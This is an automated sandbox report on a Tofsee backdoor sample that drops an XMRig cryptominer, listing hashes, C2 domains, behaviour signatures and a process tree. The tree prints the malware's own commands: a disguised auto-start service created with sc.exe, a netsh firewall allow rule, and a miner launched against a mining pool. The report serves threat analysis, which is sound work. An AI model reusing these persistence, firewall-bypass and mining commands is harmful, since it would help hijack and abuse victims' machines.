Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2023, 14:44

General

  • Target

    49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07_payload.bin.exe

  • Size

    71KB

  • MD5

    a050f3c88055b70ddf52d04747d4f527

  • SHA1

    3cc54919cb27b047127a1d14708794f0eeff5739

  • SHA256

    ca07ed841c430fedf79b2696148963cc5c5c989641e40aa34c022d4685e8ba3e

  • SHA512

    57ba537c2341dbe69265c808d829b12f1947f55c76bc7041bd55df5e74dc7b127d8090170d2fc31103ad0ac3de7ddac0135868ae043ff4a1a99e908431e2a1ad

  • SSDEEP

    1536:6kes21VCy1nTxSYg3CXTjFWL9ydpIHUc:6DVCyFxSYACXF3pI0

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07_payload.bin.exe
    "C:\Users\Admin\AppData\Local\Temp\49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07_payload.bin.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\jdvexfkf\
      2⤵
        PID:2312
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jvdagtzx.exe" C:\Windows\SysWOW64\jdvexfkf\
        2⤵
          PID:2100
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create jdvexfkf binPath= "C:\Windows\SysWOW64\jdvexfkf\jvdagtzx.exe /d\"C:\Users\Admin\AppData\Local\Temp\49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07_payload.bin.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3020
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description jdvexfkf "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start jdvexfkf
          2⤵
          • Launches sc.exe
          PID:2744
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2656
      • C:\Windows\SysWOW64\jdvexfkf\jvdagtzx.exe
        C:\Windows\SysWOW64\jdvexfkf\jvdagtzx.exe /d"C:\Users\Admin\AppData\Local\Temp\49d338bc0aff700c861cea2620b98d673f0378a8c0813275722e08933bf0cf07_payload.bin.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2112
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:268

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\jvdagtzx.exe

              Filesize

              11.1MB

              MD5

              d7aebbce4293163948f6c93c32b79ae3

              SHA1

              e5d1886401587244036f8bd8f6b7739a357a602c

              SHA256

              f4eb61eaa5d40c583cfc21d001307575fae23cc009cba67deac8bfe90bf177bf

              SHA512

              b66d752dcdff98309a048c16ac9a1b69d1f3cd5535fbff88129b6aaf5ac486b8ca1a90f51f67ef9e965f62e10058f614f60c746e7cdac82b715645f53217f8de

            • C:\Windows\SysWOW64\jdvexfkf\jvdagtzx.exe

              Filesize

              11.1MB

              MD5

              d7aebbce4293163948f6c93c32b79ae3

              SHA1

              e5d1886401587244036f8bd8f6b7739a357a602c

              SHA256

              f4eb61eaa5d40c583cfc21d001307575fae23cc009cba67deac8bfe90bf177bf

              SHA512

              b66d752dcdff98309a048c16ac9a1b69d1f3cd5535fbff88129b6aaf5ac486b8ca1a90f51f67ef9e965f62e10058f614f60c746e7cdac82b715645f53217f8de

            • memory/268-69-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-68-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-67-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-66-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-65-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-64-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-63-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-62-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-54-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/268-53-0x00000000000E0000-0x00000000001D1000-memory.dmp

              Filesize

              964KB

            • memory/2616-33-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-40-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-25-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-27-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-26-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-28-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-29-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-30-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-31-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-32-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-21-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-34-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-35-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-36-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-37-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-38-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-39-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-24-0x0000000000190000-0x00000000001A0000-memory.dmp

              Filesize

              64KB

            • memory/2616-41-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2616-44-0x00000000001E0000-0x00000000001E5000-memory.dmp

              Filesize

              20KB

            • memory/2616-45-0x00000000058E0000-0x0000000005CEB000-memory.dmp

              Filesize

              4.0MB

            • memory/2616-48-0x00000000058E0000-0x0000000005CEB000-memory.dmp

              Filesize

              4.0MB

            • memory/2616-49-0x00000000001F0000-0x00000000001F7000-memory.dmp

              Filesize

              28KB

            • memory/2616-18-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2616-17-0x0000000001830000-0x0000000001A3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2616-14-0x0000000001830000-0x0000000001A3F000-memory.dmp

              Filesize

              2.1MB

            • memory/2616-13-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-10-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-8-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-6-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-3-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-4-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB